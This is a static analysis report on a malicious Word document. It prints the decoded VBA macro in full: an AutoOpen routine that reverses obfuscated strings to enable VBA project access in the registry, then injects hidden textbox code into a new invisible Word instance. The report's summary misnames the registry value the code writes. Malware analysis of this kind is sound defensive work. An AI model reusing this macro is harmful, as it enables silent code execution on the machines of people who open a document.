Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 186f866fa8714564…

MALICIOUS

Office (OOXML)

75.9 KB Created: 2021-05-04 08:39:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-26
MD5: 8e654d773eb5678aa5ff21e1d7ba5592 SHA-1: 9c2857dbb1d38a9dfb0f1429efeec826a80777d9 SHA-256: 186f866fa87145641554db61b583f4e739982c7256ba974670ed2d3516b97ebc
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains VBA macros that execute automatically via the AutoOpen subroutine. These macros utilize WScript.Shell to write a registry value, specifically 'HKCU\Software\Microsoft\Office\16.0\Word\Security\Accessible2Proxy', which is a common technique for establishing persistence. The script's intent is to download and execute a second-stage payload, as indicated by the use of WScript.Shell and the obfuscated registry path construction.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub tableReference(constRepo)
With CreateObject("wscript.shell")
.RegWrite constRepo, 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub indexMem(clearProcPointer As String)
Set pasteStructTable = CreateObject("word.application")
With pasteStructTable.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AConst"
Sub autoopen()
listEx
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1727 bytes
SHA-256: 4df94115ae2377c7a592aeb6d1c8a3d0ff8ebdc9332c41b306e2df1ef3239489
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{92E2AB17-4DCA-4885-9A62-1A121DE0E0D9}{0E30CE45-90BF-49BE-9A04-3654F63CA1B4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "AConst"
Sub autoopen()
listEx
Dim databaseResponseValue As String
databaseResponseValue = bufRepo
indexMem databaseResponseValue
End Sub

Attribute VB_Name = "borderRight"
Sub indexMem(clearProcPointer As String)
Set pasteStructTable = CreateObject("word.application")
With pasteStructTable.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString clearProcPointer
End With
pasteStructTable.Visible = False
pasteStructTable.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "funcClass"
Function storageDatabase() As String
storageDatabase = Application.Version
End Function
Sub tableReference(constRepo)
With CreateObject("wscript.shell")
.RegWrite constRepo, 1, "REG_DWORD"
End With
End Sub
Sub listEx()
constRepo = StrReverse("\eciffO\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH")
windowIndex = storageDatabase
tempDocumentTemp = StrReverse("MOBVsseccA\ytiruceS\droW\")
tableReference constRepo & windowIndex & tempDocumentTemp
End Sub
Function bufRepo()
bufRepo = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 7f94c23098b831a14c25733c915ddd20a1baca3723d0ae61ea0427f815b2c2e6

Open this report in the interactive analyzer, or submit your own file for analysis.